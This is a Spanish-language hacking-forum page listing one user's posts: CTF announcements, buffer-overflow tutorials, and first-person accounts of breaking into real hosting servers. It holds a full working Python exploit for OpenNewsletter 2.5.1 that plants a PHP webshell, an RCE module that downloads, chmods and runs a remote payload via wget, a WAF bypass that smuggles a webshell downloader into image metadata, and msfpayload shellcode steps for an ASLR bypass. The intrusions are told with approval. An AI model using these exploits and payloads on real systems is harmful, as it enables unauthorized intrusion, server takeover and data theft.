Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - q3rv0

Páginas: [1] 2 3
1
Wargames y retos / Gánate una entrada para la eko14 papa!!
« en: Septiembre 17, 2018, 06:52:53 pm »
Volví y en forma de CTF!!. Estas sin un mango y no podes garparte una entrada a la EKO? tira tus skills de kaker en el pre CTF de infobyte y participa por una entrada gratis a la mejor conferencia de seguridad latinoamericana (dragonball no existe) papa!

You are not allowed to view links. Register or Login



2
Wargames y retos / Consigue el flag
« en: Agosto 03, 2015, 05:35:17 pm »
Como el nombre lo dice deberan obtener el flag y enviarmelo por MP, cortito y al pie.

Enjoy!

You are not allowed to view links. Register or Login

Ganadores:

1- overxfl0w13
2- PerverthsO
3- hdbreaker

3
Bugs y Exploits / Cazador de Botnets: [Zeus]
« en: Julio 09, 2015, 08:21:45 pm »

By [Q]3rV[0]

Quien no fantaseo alguna vez con tener miles y miles de ordenadores bajo su poder?, no me refiero con el objetivo de desatar un caos o incluso robar masivamente información, sino para simplemente, tener el profundo sentimiento de "control". O hablando desde el otro "lado" a quien no se le ocurrio la idea de desbaratar botnets alguna vez?, cazarlas por el simple echo de ver que ahí adentro, descubrir el numero de  maquinas que cayeron bajo su poder? y quizá hasta tomar el control?. Bueno, este post va dedicado a esta ultima fantasía.

Como encontramos una botnet?

Vamos a lo primero, para cazar una botnet hay que localizarla, existen diversos servicios online que se dedican al traceo de estas, en los que se publican el path del C&C, información de los ejecutables usados para la infección, el tipo de botnet, etc.


Cybercrime-tracker


La cual mantiene archivado una gran diversidad de malware como la botnet Blackhole, Citadel, Zeus, Pony, IceIX, VertexNet entre otras.


Abuse.ch

Otra de gran utilidad es abuse.ch contando con un tracker para la Zeus, Feodo, Palevo y la SpyEye.


Posiblemente existan otras listas de botnets, pero por el momento son las unicas que conozco.

También podemos hacer uso de algún motor de búsqueda como google. Implementando uno que otro google dork llevándonos por las estructura del panel que deseemos localizar, por ejemplo, la ruta del C&C por defecto en la botnet Zeus es el siguiente: /cp.php?m=login.

Código: (text) You are not allowed to view links. Register or Login
inurl:/cp.php?m=login
De ahí en mas podríamos ir variando, ya que probablemente el responsable haya echo algunas modificaciones al script, incluso cambiado el nombre, en fin todo va en el ensayo y error. Tal vez nos topemos con alguna que otra semi camuflada.

Código: (text) You are not allowed to view links. Register or Login
inurl:/adm.php?m=login
Código: (text) You are not allowed to view links. Register or Login
intext:"Remember (MD5 cookies)" ext:php


Hosting1

Partamos por el punto de que una botnet puede estar montada en un:

-Servicio de hosting free
-Servicio de hosting pago
-Hosting hacked
-VPS

En mi caso se hallaba alojada en lo que parecía ser un servicio de hosting pago, llamémoslo hosting1.com.


A simple vista me atrevía a decir que el encargado del malware obtuvo acceso ilícito, por lo que lo mas seguro es que la web presentara alguna que otra vulnerabilidad que me permitiese la entrada, si es que no fue parcheada por el atacante, para alejar a los curiosos.

Realmente aun quedaba alguna que otra brecha.


Fijémonos haber que hay detrás del panel.



Un upload bastante jodido y otra SQLI. Luego de realizar varios intentos decidí dejar de lado la subida de ficheros, pero si podía inyectar comandos en la db, solo tenia que buscar la tabla con las credenciales de la botnet.


Por desgracia no había rastros de la Zeus.


Lo mas probable es que corra con un usuario diferente.


Después de navegar por la aplicación, me encontré con la zona de acceso a clientes.


Evidentemente trabajaba con otro user ya que las credenciales del formulario no estaban en la anterior base de datos. Así que me registre para ponerme en busca de alguna inyección u otra abertura que me de acceso.
Al rato termine por darme por vencido y decidí ir por otra via, enumerar los dominios en el servidor, tratar de acceder mediante alguno de ellos y así escalar hasta hosting1.com.



Evilnet

El proveedor de hosting, llamémoslo "Evilnet", por motivos obvios no voy a dar nombres. Evilnet ofrece servicio de hosting, diseño y programación web, varios dominios que pertenecen a Evilnet, usan la misma estructura de CMS, el mismo con el que corre nuestro hosting1.com  por  acá tenemos otro similar y por supuesto junto con la misma SQLI :)


Si no leíste el articulo "Engañando al WAF con XMP" podes ingresar al siguiente You are not allowed to view links. Register or Login donde detallo como conseguí acceso al servidor mediante hosting2.com.

Siguiendo con el apartado cabe destacar algo interesante que me encontré mediante la recolección de información:

    -Ambas webs usan el mismo password en el formulario de administración.

    -Ambas webs cuentan con el mismo password en la base de datos (el mismo que usan para acceder al panel, no es joda!).


Parece que el administrador de Evilnet no tiene buena memoria y prefiere usar la misma llave para todo, podría apostar que este "descuido" por llamarlo de manera elegante, se repite en los demás dominios bajo su autoría. Con este criterio quien sabe, si llegara a probar, hasta me podría cargar el facebook y el twitter del admin o hasta la sesión ssh personal, espero no llegarle hasta abajo de la cama jeje!.

Pero en fin ya estaba dentro de hosting2.com, solo me faltaba escalar hasta hosting1.com, lo primero que hice fue tratar de leer el fichero de configuración de la botnet que se encuentra en el directorio base /system/config.php, mediante la creación de un enlace simbólico, pero para mi mala suerte no funciono. Entonces recordé el descuido del administrador e intente ingresar con la llave maestra por así decirlo, mediante otro usuario en la db que pertenezca a hosting1.com, por lo que veía, la estrutura de nombres tiene la siguiente regla:

"Nombre que hace referencia al dominio"_XXXXXXX

ya había intentado loguearme como hosting1_xxxxxxx, entonces fui probando diversas combinaciones de usuarios.

Hasta que logre ingresar como hosting1 solamente, el cual tenia acceso a todas las dbs dentro de la aplicación.


Ya habiendo identificado la preciada base de datos.


Restaba consultar las credenciales en la tabla cp_users y rogar obtener el hash md5 en claro.


Afortunadamente el hashe del admin estaba presente en md5online.




La Zeus

Una vez dentro termine un poco decepcionado al respecto, creí que podía encontrarme con una mayor cantidad de bots, y para peor no había uno solo en pie.


Aunque contaba con una respetable cantidad de reportes sobre credenciales pop3 y http.


Una cosa interesante, es que el reports path de la botnet apuntaba al home de hosting1.


Por lo tanto podía navegar libremente a través del file browser y descargar ficheros a diestra y siniestra.


De no haber sido así, solo tenia que ir a options y editar el path con tantos directorios transversales sean necesarios para llegar al home.




Fuente: You are not allowed to view links. Register or Login

4
Bugs y Exploits / Solucionarios Darknet 1.0
« en: Julio 06, 2015, 09:03:41 pm »


Aca les dejo los solucionarios de You are not allowed to view links. Register or Login que me fueron enviados, para quienes no lograron llegar al final o los que no encontraron la forma de avanzar en el desafio. Me hubiese gustado que al menos uno fuese de autoria hispana, pero bueno, la proxima sera, ya que pienso sacar una futura version de esta VM.

Aviso! si no conocias Darknet, tomate un tiempo para jugar con ella antes de leer alguno de los papers.

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login


Enjoy!

 

5
Bugs y Exploits / Engañando al WAF con XMP
« en: Mayo 26, 2015, 05:58:24 pm »

Me encontraba tratando de acceder a un hosting por X motivos, digamos que había "algo" interesante para llevarlo a uno a meterse donde no lo invitan, probablemente mas adelante le dedique un apartado en este blog a ese "algo", pero por ahora se los dejare picando. Una vez que había logrado evadir el formulario de autentificación que me llevaba a la zona del admin lo demás parecía sencillo, subir shell mediante uno de los uploads. Había dos tipos: de imagenes y de ficheros pdf.


Este ultimo no realizaba ningún tipo de control sobre la extención del archivo que se le pasaba, pero al momento de enviar la shell era redirigido hacia una respuesta 406.


Me suena a WAF!, ¿sera ModSec?

Al comienzo creí que el WAF filtraba funciones peligrosas como popen, system, shell_exec, etc, pero a medida que probaba me fui dando cuenta de que no permitía la inclusión de los tags <? ?> directamente. Cada vez que trataba de evadir las restricciones para colar mi código seguía recibiendo el cachetazo en seco del 406, cuando se me ocurrió que podía desactivar ModSec con un .htaccess fue en vano, el 406 seguía ahí. Así que ya en las ultimas a punto de desistir tuve la idea de embeber codigo php en el EOF de una imagen del tipo png, y si!, finalmente había subido exitosamente la shell!, pero al momento de llamarla no se ejecutaba!, ¿por qué?.


Por lógica no tendría que haber problema, se tendrían que visualizar los caracteres ilegibles seguidos de mi webshell, esto ya me estaba frustrando. Supuse que quizá se trataba de algún tag abierto dentro del source de la imagen, así que me puse a relojear el code para encontrarme con una cadena que llamo poderosamente mi atención.


¿Por que el WAF no saltaba?, si incluía los tags <? ?>

Extensible Metadata Platform (XMP)

XMP es un estándar ISO creado por adobe para el registro de metadatos en formato XML en archivos pdf e imágenes.

Para cerciorarme de que el WAF realmente no restringía el pasaje de la cadena <?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> decidí subirla en limpio.


Evidentemente había logrado insertar los tags sin recibir un 406 a cambio!, por supuesto al momento de ejecutar el script aparecía un error de sintaxis debido a que lo que se encontraba entre <? ?> no se trataba de una estructura PHP valida, solo faltaba saber ¿hasta que punto controlaba el WAF la regla de la cabecera XMP?.

Jugando un poco con el string a través de ensayo y error, llegue a la conclusión de que los tags podían incluirse siempre y cuando se respete la siguiente regla.

Código: (php) You are not allowed to view links. Register or Login
<?xpacket ?>
Entonces para disfrazar esta oportunidad y que mi script pasara desapercibido ante ModSec, se me ocurrió crear una función llamada xpacket que iba a contener la instrucción a ejecutar, en este caso descargar una webshell en el servidor.


De esta manera logre hacer a un lado las restricciones para tener una consola de comandos web limpia dentro del hosting.


Probablemente existan muchas otra maneras de saltarse el firewall web, pero esta me pareció de los mas interesante, además de que surgió de la persistencia con un toque de suerte ;)

Saludos!

Fuente: You are not allowed to view links. Register or Login

6
Wargames y retos / Darknet 1.0 podras Pwnearla?
« en: Abril 29, 2015, 10:49:55 pm »

La persistencia bloguera no es mi fuerte y ya hacia rato que no publicaba nada nuevo, de a lapsos durante el tiempo libre me vi enfocado a la creación de una nueva VM que pudiera ser digna del nivel de #Vulnhub, creo que me acerque lo mas que pude, nació así Darknet, una maquina virtual vulnerable para el desarrollo de laboratorios 100% Secsignal!.

Que nos tiene preparado Darknet?

No me gusta hacer spoiler y sobre todo de un reto de estas características, así que voy a tratar de ser lo mas escaso posible al tratar de describirla. Darknet tiene un poco de todo, una salsa con un toque de enrosque y frustración que espero lleve horas de migrañas y diversión para el que se atreva a conquistar sus aposentos.
Como se acostumbra el objetivo sera leer el contenido del fichero /root/flag.txt, obviamente una vez escalado los privilegios necesarios para cumplir con el cometido.


La imagen podrán montarla con VirtualBox. La maquina posee DHCP activo así que una vez lista asignara automaticamente una ip de red, el paso siguiente sera identificar el objetivo y  descubrir el/los servicio/s para que comience el juego. Buena suerte!.

Si desean enviar sus solucionarios en formato pdf pueden hacerlo a la siguiente dirección: s3csignal[at]gmail[dot]com

You are not allowed to view links. Register or Login

Disfruten!

Fuente: You are not allowed to view links. Register or Login

7
Wargames y retos / Reto Exploiting / Level [very easy]
« en: Febrero 22, 2015, 06:07:31 am »
Lograr que el binario arroje el mensaje "You fucked me!".

Enviar exploit por inbox.

Código: (c) You are not allowed to view links. Register or Login
#include <stdio.h>

int main(int argc, char **argv){
    int fuckme=66;
    char buffer[100];
    gets(buffer);
    if(fuckme==0x10245644){
        printf("You fucked me!");
}
    return 0;

}

8
Bugs y Exploits / Programa tu modulo para Frameshock
« en: Febrero 08, 2015, 05:30:13 pm »

Recientemente y de la mano de mi amigo hdbreaker salio a la luz un nuevo framework de explotacion llamado Frameshock, el cual promete ser una herramienta que a futuro, llegue a competir con el imponente Metasploit. Lo mejor de esta tool es que esta basada completamente en python y el desarrollo de exploits, auxiliares, etc se hace tremendamente sencillo debido a la manera en que trata los modulos.

En fin, basta de chicharas y vamos a evocarnos a lo que el titulo llama. Antes de proseguir con el resto del tutorial, se tiene en cuenta que el lector cuenta con conocimientos de POO en el lenguaje python.

*** ADVERTENCIA *** Si estas leyendo esto y todavía no te encontras familiarizado con el framework, podes ver el siguiente enlace You are not allowed to view links. Register or Login

Estructura de los módulos

La estructura de los módulos es la siguiente, y lo único a respetar durante el desarrollo.

Código: (python) You are not allowed to view links. Register or Login
# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
 
class module(config):
 
    def __init__(self):
        self.config=config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()
 
    def preExecution(self):
        while 1:
            ################Aca se definen las opciones y se cargan los argumentos################
 
 
 
    def exploit(self):
        if len(self.targets)>0:
            for target in self.targets:
                print "Attack "+target[1]
                ################Aca va el exploit################
        else:
            print "No hay targets"
 
################Aca va el metodo que contiene el exploit################
    def test(self):
        print "Attack Test"
########################################################################
 
##########Se inicia el modulo###########
start=module()
########################################

Como se ve:


   
Se importan módulos necesarios como sys para agregar el dir base al PATH de python: sys.path.append('.')

    Se importa el modulo config el cual contiene ciertos métodos que nos proveerán de los datos que configuramos con la opción config en el prompt de frameshock. Además es necesario para trabajar con shodan y la db si es que lo necesitamos.

    Se importa tabulate, el cual lo usaremos para mostrar informacion en forma de tabla como por ejemplo los targets seteados.

La clase module()

La clase module contiene tres métodos, en __init__:

    Se inicializa el objeto config y se llama a dos métodos dentro de config

    getCursor()
    getCon()



Necesarios para trabajar con la db sqlite3, como dije anteriormente nos servirán para hacer uso de shodan, pero en este apartado no se hará referencia al mismo, aunque de igual manera se mencionaran.

    Se crea una lista vacía self.targets=[] que almacenara los objetivos que seleccionemos en modo manual.

    Por ultimo se llama al método preExecution.


preExecution()


Acá indicaremos la opciones que contendrá el modulo y cargaremos los argumentos que son pasados a través de esas opciones, tales como el target objetivo, la opción de arranque del modulo, etc. Eso va en los parámetros que necesite recibir nuestro modulo, si desean también pueden incluir una opción para desplegar información acerca del mismo, o datos del autor.
 Comencemos! y a partir de acá, siéntanse libres de codear a su antojo, para nuestro ejemplo voy a portar como modulo de Frameshock un simple script que explota un rce.

Código: (python) You are not allowed to view links. Register or Login
#!/usr/bin/python
 
import urllib2
import sys
 
def rce(target):
    while 1:
        command=raw_input("$> ")
        w=urllib2.urlopen(target+"www.google.com|"+command)
        print w.read()
 
rce(sys.argv[1])

let's go!

Arranquemos por definir la opción help. Por comodidad respecto a la sintaxis se optara por utilizar la misma que msf, pero no es algo indispensable.


Ahora continuemos con el resto de las opciones necesarias para nuestro modulo.


Sencillo no?, no hace falta explicar mucho, el código habla por si solo.

Para obtener el objetivo, hacemos un split a la cadena set target, tomamos el indice 2 y luego hacemos un append para ingresar los datos dentro de self.targets.
 
Para desplegar los objetivos lo hacemos con tabulate, por cuestiones de estetica, lo dije antes y lo vuelvo a decir, SIÉNTANSE LIBRES!

Si la opción elegida es exploit invoca el metodo self.exploit() que lo trataremos en el siguiente paso.
                                                     
exploit()


Tenemos dos caminos, utilizar algún payload provisto por Frameshock, o bien realizar una conexión directa. Como el handler del framework no esta el divino botón optaremos por la primera. Definiremos el método que contendrá el exploit e importaremos las librerias necesarias.

Código: (python) You are not allowed to view links. Register or Login
def rce(self, target):
        command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
        urllib2.urlopen(target+"www.google.com%7C"+command)

Hagamos un párate y pongamos un par de cosas en remojo.

    self.config.getUrlInjector() : Retorna la url del payload que hemos seteado desde frameshock

    self.config.getInjectorName() : Nos devolverá el nombre del payload elegido.


Entonces el metodo rce() lo único que hace es descargar nuestro payload en el servidor remoto, darle permisos de ejecución y lanzarlo contra nuestro handler.

Código: (python) You are not allowed to view links. Register or Login
command="wget http://"+self.config.getUrlInjector()+" -O "+self.config.getInjectorName()+";chmod 755 "+self.config.getInjectorName()+";python "+self.config.getInjectorName()
Lo llamamos desde exploit() y nos disponemos a probar nuestro modulo, quedando de la siguiente manera.


Código: (python) You are not allowed to view links. Register or Login
# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
import urllib2
 
class module(config):
 
    def __init__(self):
        self.config=config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()
 
    def preExecution(self):
        while 1:
            ################Aca se definen las opciones y se cargan los argumentos################
            opcion=raw_input("> ")
 
            if opcion=="help":
                print("set target <TARGET> -> Setea el target manualmente")
                print("exit -> Cierra el modulo")
                print("show targets -> Muestra los targets seteados")
                print("clear targets -> Elimina los targets")
                print("exploit -> Inicia el modulo de ataque")
 
            elif opcion.find("set target")!=-1:
                target=opcion.split(' ')[2]
                self.targets.append((0, target, "Modulo para explotar un RCE", "RCE"))
 
            elif opcion=="exit":
                exit(0)
 
            elif opcion=="show targets":
                if len(self.targets)>0:
                    print tabulate(self.targets, ["ID", "TARGET", "DESCRIPCION", "MODULO"], tablefmt="grid")
                else:
                    print "No hay targets seteados"
 
            elif opcion=="clear targets":
                self.targets=[]
 
            elif opcion=="exploit":
                self.exploit()
 
 
    def exploit(self):
        if len(self.targets)>0:
            for target in self.targets:
                print "Attack "+target[1]
                ################Aca va el exploit################
                self.rce(target[1])
        else:
            print "No hay targets"
 
################Aca va el metodo que contiene el exploit################
    def rce(self, target):
        command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
        urllib2.urlopen(target+"www.google.com%7C"+command)
########################################################################
 
##########Se inicia el modulo###########
start=module()
########################################

Antes que nada, lo guardaremos en el directorio /FrameShock/Modules respetando la regla del nombre.

numero_nombremodulo.py

Por ejemplo:

Si tenemos los siguiente módulos (1_moduloprueba.py, 2_moduloprueba.py, 3_moduloprueba.py), Lo agregaremos como 4_rce.py.


Estamos listos para cargar nuestro modulo de prueba.


BOOM! explotado con exito el rce!

Cabe resaltar para terminar, que en el directorio  /FrameShock/ExampleModule contamos con un modulo de ejemplo para comenzar a programar desde ahí.

Código: (python) You are not allowed to view links. Register or Login
# -*- coding: utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
 
class module(config):
 
 
####Init configuration####
    def __init__(self):
        self.config = config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()
##########################
 
####User define information####
    def preExecution(self):
        while(True):
            option = raw_input("> ")
            if(option=="exit"):
                exit(0)
 
            if(option=="help"):
 
                print("set target URL:PORT --> Manual Target")
                print("clear targets       --> Show Targets in module")
                print("show targets        --> Clear Targets in module")
                print("use shodan          --> Targets from Shodan Results")
                print("exploit             --> Start atack")
                print("exit                --> Close Module")
 
            if(option.find("set target")>-1):
                data = option.split(" ")
                data = data[2].split(":");
                target = data[0]
                port = data[1]
                self.targets.append((0,target,port,"Manual","null"))
 
            if(option.find("use shodan")>-1):
                self.targets=self.config.getTargets();
 
            if(option=="clear targets"):
                self.targets=[]
                print("Clear Done")
 
            if(option=="show targets"):
                if(len(self.targets)!=0):
                        print tabulate(self.targets, ["id", "IP", "PORT", "Description", "Vulnerable Module"], tablefmt="grid")
                else:
                    print "No targets"
 
            if(option=="exploit"):
                self.exploit()
###################################
 
###Exploit c0de###
    def exploit(self):
        if(len(self.targets)!=0):
            for target in self.targets:
                ###YOUR EXPLOIT CODE HERE###
                print "Atack "+target[1]+":"+target[2]
        else:
            print "No targets found";
 
####def custom user functions (calleable from exploit())####
    def testFunctions(self):
        print "Atack test"
#############################################################
 
#####Init Module#####
start = module()
#####################

Saludos! y Happy Frameshock Hacking!

Fuente: You are not allowed to view links. Register or Login

9
Bugs y Exploits / Del Spam a La Intrusion
« en: Diciembre 17, 2014, 09:52:39 pm »
Prologo

Hacia rato que no le echaba una ojeada al spam de mi gmail y esta vez tenia el basurin lleno, es que muchas veces uno puede encontrarse envuelto en alguna aventurita que te alegre el dia o no, en este caso mas que nada fue un poco de diversion. En fin, mientras leia los subject de los correos me pare en uno que decia: “Your account has ben blocked”.



Era un mail “supuestamente” eviando desde blockchain, pero como no tenia idea que servicio estaba prestando al publico me fui directamente a la url del sitio.

You are not allowed to view links. Register or Login



La verdad es que nunca me habia logueado en la aplicacion (segun recuerdo), es mas no tengo una cuenta referenciada a este tipo de servicios en general. Al instante y era obvio deduje que se trataba de un caso de phishing, asi que sin dudarlo segui el enlace acortado por goo.gl para afirmar lo antes predicho.



Por desgracia el path del fake no se encontraba, asi que por curiosidad quize seguir por mi parte para cersiorarme de si habia sido movido a otra ruta o es mas, para ver si lograba captar otros tipos de fraudes montados en el mismo hosting, pero…como hiba a saber eso? …

Un poco de Google Hacking

Lo primero que hice fue arrancar a jugar con goo*, buscando diversas extenciones de ficheros, hasta que di con algo interesante.

Código: (text) You are not allowed to view links. Register or Login
site:klsicci.com.my ext:txt


Archivos de configuracion en texto plano!, lamentablemente al pedirlos no se encontraban mas en la ruta, pero si google los tenia, habria que negociar con el.

Código: (text) You are not allowed to view links. Register or Login
cache:http://klsicci.com.my/admintest1/config/klsiccic4.txt


Anque las credenciales podian ser viejas o con suerte, quizas, seguian en uso, no perdia nada con probar.

Trate de establer una conexion por mysql pero me nego el acceso, lo mas probable es que solo admitia conexiones desde localhost o bien mediante una lista de ips habilitadas.

Ya que conocia el user a travez del path /home/klsiccic/ informacion que habia obtenido de los ficheros cacheados, intente loguearme por ftp mediante el password de la db (Me he encontrado con muchos hostings que usan pass global para diferentes servicios), pero esta vez el ftp me reboto.

Todavia faltaba mucho por analizar, asi que segui probando con goog*.

Queria un acceso rapido, entonces pense que podria estar cacheada la webshell del atacante, si es que realmente habia usado una para obtener acceso.

Luego de persistir con un par de strings

Código: (text) You are not allowed to view links. Register or Login
site:klsicci.com.my && inurl:shell


Di con el objetivo, pero nuevamente el 404.

Por un lado me incitaba a seguir buscando ya que tenia el title de la webshell que podria ser la herramienta del spammer. Hasta ahora no queria cersiorarme por completo hasta estar seguro de que fuera el autor del echo, tal vez la webshell podria pertenecer a otro intruder que nada tenia que ver con el scam.

Largue otra busqueda.

Código: (text) You are not allowed to view links. Register or Login
site:klsicci.com.my && intitle:"=[ 1n73ct10n privat shell ]="


Y esta vez tenia un lindo historial, pero todos apuntaban a la misma url fallida.

Aprovechando la lista obtenida, encuentro entre los path que se le pasaban como parametro a la ex shell, un dir de nombre /opennews.





Opennewsletter es una aplicacion open-source para administrar listas de mails.

OpenBUGletter


Ravisando en exploit-db encuentro un reporte de multiples vulnerabilidades para las versiones <=2.*. Una de ellas y por cierto la mas critica hablaba de un RCE en la plataforma.

You are not allowed to view links. Register or Login

Para ser aprovechado requieria de acceso a la administracion, investigando un poco en el source de opennews el cual lo obtuve de la siguiente web.

You are not allowed to view links. Register or Login

Veo que las credenciales del admin son tomadas desde config.php y el user, pass por defecto es admin:admin.



Por suerte el fichero no habia sido retocado y pude obtener acceso.



Por razones que desconocia el exploit no lograba darme una shell en el sistema, asi que me puse a leer el codigo para ver donde se daba el bug, mirando en subscribers.php se puede ver como se abre el fichero data.dat y se ingresa el contenido de la variable $_POST[‘email] sin sanitizar.



En settings.php se permite renombrar el mismo a travez de la variable $_POST[‘db_file’] que al igual que la anterior no posee ningun tipo de filtro seguro.



Ahora que ya tenia una idea de como inyectar codigo, lo unico que quedaba era incrustar un payload en data.dat y este a su vez renombrarlo a *.php, mirando nuevamente el exploit me doy cuenta que para ingresar el codigo hace una peticion a subscribe.php (fichero que no existe en esta version de opennews (2.5.1)), ademas del pasaje de parametros por GET.



Asi que decidi codear el mio propio para realizar la explotacion.

Código: (python) You are not allowed to view links. Register or Login
#!/usr/bin/env python
# Description: Opennewsletter remote code execution exploit
# Version tested: 2.5.1
# Author: q3rv0

import urllib2
import urllib
import re

class opennews_exploit:

    def __init__(self, host):
        self.host=host
        cookies=urllib2.HTTPCookieProcessor()
        opener=urllib2.build_opener(cookies)
        urllib2.install_opener(opener)

    def postSend(self, parametros, path):
        self.headers={"User-Agent":"Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0"}
        self.parametros=urllib.urlencode(parametros)
        self.path=path
        self.post=urllib2.Request(self.host+self.path, self.parametros, headers=self.headers)
        return urllib2.urlopen(self.post)

    def getOldDbFile(self):
        self.get=urllib2.urlopen(self.host+"settings.php").read()
        self.name=re.findall("name=old_db_file value=([\w\.\-_]+)>", self.get)
        return self.name[0]

    def verifyShell(self, path):
        try:
            self.path=path
            self.code=urllib2.urlopen(self.host+self.path)
            return self.code.getcode()
        except:
            pass

target="http://pwnedhost.com/opennews/"
shell="shell.php"
user="admin"
passwd="admin"
admin_name="Your Name"
admin_email="[email protected]"
charset="UTF-8"
site_url="http://www.yourwebsite.com"
opennews_directory="/"
payload="<?php echo `$_POST[exec]`; ?>"

rce=opennews_exploit(target)

def get_shell(shell):
    print "[*] Obteniendo la shell :)\n"
    while True:
        command=raw_input("$~: ")
        print "\n"+rce.postSend({"exec":command}, shell).read()

if rce.verifyShell(shell)==200:
    get_shell(shell)

else:
    print "\n[*] Logueando...\n"
    rce.postSend({"username":user, "password":passwd}, "index.php?action=login")
    print "[*] Insertando el payload...\n"
    rce.postSend({"email":payload}, "subscribers.php?action=add")
    print "[*] Renombrando la shell...\n"
    rce.postSend({"admin_username":user, "admin_password":passwd, "admin_name":admin_name, "admin_email":admin_email, "charset":charset, "site_url":site_url, "opennewsletter_dir":opennews_directory, "old_db_file":rce.getOldDbFile(), "db_file":shell, "action":"update"}, "settings.php")
    get_shell(shell)

Cabe decir que el codigo del exploit es a modo de POC, solo fue testeado en la version 2.5.1, podria no funcionar en versiones anteriores.

run exploit



Listo! ya estaba dentro.



Buscando rastros del scam.

Luego de darle vueltas durante un rato, entrar y salir de directorios, darle a find como loco, no pude dar con el phishing, muchas veces las aventuras nunca terminan como uno quiere, eso terminaba por confirmarme de que el admin se habia encargado de el. Pero por otra parte encontre ciertos ficheros que comprometian aun mas al spammer/intruder.

El pequeño arsenal del defacer.



Ojala les haya gustado esta hackanecdota, saludos!

Fuente: You are not allowed to view links. Register or Login

10
Wargames y retos / Underc0de Weekend #2 [Solucionario]
« en: Noviembre 07, 2014, 07:05:50 pm »
Durante todo el transcurso del reto semanal recibi un unico solucionario valido, el cual fue de mi amigo hdbreaker realizando correctamente los pasos que se llevan a cabo para concluir con un deafio de estas caracteristicas. Ademas se tomo el tiempo de explicar con detalle para las personas recien iniciadas en la seguridad.

Felicitaciones hd!

Nota importante

Recibi muchos pdfs en los que los participantes editaban el grub o montaban la imagen, y hasta algunos se quejaron por que les di como nula su solucion. El problema no estaba en las "pautas del reto", ya que se especifico que se trataba de un "boot2root"



You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

El problema radica en que esa gente jamaz habia jugado con un entorno virtual vulnerable de los tantos que hay en la web. Los invito a pasarse por las anteriores urls y asi encarar quien sabe, la proxima VM con otra perspectiva.

Solucionario: You are not allowed to view links. Register or Login

11
Bugs y Exploits / Desbordando el buffer en linux x86 (III) [ASLR bypass]
« en: Septiembre 29, 2014, 02:47:09 pm »


Esta es la tercera parte de una serie de tutoriales para aprender a explotar el buffer en sistemas Linux x86.

En el anterior apartado:

You are not allowed to view links. Register or Login

Se logro encastrar codigo ejecutable y obtener una shell, pero para lograrlo debimos desactivar previamente ASLR.  Como explique anteriormente este sistema de seguridad nos dificulta un poco las cosas randomizando la memoria.

Compilaremos el siguiente codigo que sera usado durante la realizacion de este tutorial.

Código: (c) You are not allowed to view links. Register or Login
#include <stdio.h>
#include <string.h>

void funcion_vulnerable(char* input)
{
    char buffer[1000];
    strcpy(buffer, input);
}
int main(int argc, char** argv)
{
    funcion_vulnerable(argv[1]);
    return 0;
}
Verificamos que ASLR se encuentra activo.

Código: (bash) You are not allowed to view links. Register or Login
cat /proc/sys/kernel/randomize_va_space
2
De otra manera lo activaremos.

Código: (bash) You are not allowed to view links. Register or Login
echo 2 > /proc/sys/kernel/randomize_va_space
Ahora simplemente realizaremos los pasos descriptos en los anteriores capitulos.

Compilamos el code.
Código: (bash) You are not allowed to view links. Register or Login
gcc -o vuln -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack vuln.c
Presten atencion al flag -z execstack, esto simplemente vuelve ejecutable el stack ya que NX (Non-Exec) es otra proteccion que al igual que ASLR nos va a romper bastante las pelotas denegandonos la ejecucion de un shellcode en la memoria.

Pero de todas maneras se puede evadir, tema que se tocara en el proximo tuto.

Buscamos la sobrescritura del EIP.

Código: (bash) You are not allowed to view links. Register or Login
r $(python -c 'print "\x41"*1004+"\x42"*4')


Hasta aca todo muy lindo, pero todavia tenemos que saltarnos ASLR.

Una manera de hacer esto es buscando dentro del binario alguna instruccion de  llamada o salto (CALL/JMP) a algun registro. Por que si nos basamos en seguir el anterior tutorial donde sobrescribiamos el EIP con una direccion dentro de ESP que aputaba a un NOP Sled+Shellcode, simplemente no va a funcar, por el echo de que la memoria va a cambiar en cada ejecucion.

Esto podemos hacerlo con objdump.

Buscaremos la existencia de alguna instruccion CALL

Código: (bash) You are not allowed to view links. Register or Login
objdump -d vuln|grep call





Perfecto, objdump nos arroja dos direcciones que llaman al registro EAX.

8048387

804840f

Entonces se nos ocurre que si podemos escribir en EAX nuestro Shellcode y pintar el EIP con la direccion CALL lograriamos realmente "pintarle la cara a ASLR".

Bien, hay una parte del buffer en EAX?

Código: (bash) You are not allowed to view links. Register or Login
x/100x $eax


Como se aprecia, logramos tocar el comienzo del registro, ahora solamente nos falta generar el payload.

Ahora si nos apoyaremos en  MSF para moldear un Shellcode.

Código: (bash) You are not allowed to view links. Register or Login
msf > msfpayload linux/x86/exec CMD=/bin/bash C


El unico problema que surge, es que si miramos el shellcode, este contiene "badchars", como por ejemplo la presencia de nullbytes \x00 que nos van a cortar la cadena.

Asi que le pasamos la salida a msfencode para ofuscar un poco.

Código: (bash) You are not allowed to view links. Register or Login
msf > msfpayload linux/x86/exec CMD=/bin/bash R|msfencode -a x86 -e x86/alpha_mixed -b 'x\00\x0d\x0a' -t c



Fijense en el flag -b de msfencode y entre comillas la lista de badchars a evadir.

Ahora tenemos el codigo limpio y listo para agregarlo al payload que quedara de la siguiente manera.

Le restamos la longitud del Shellcode al buffer.

1004-152=852

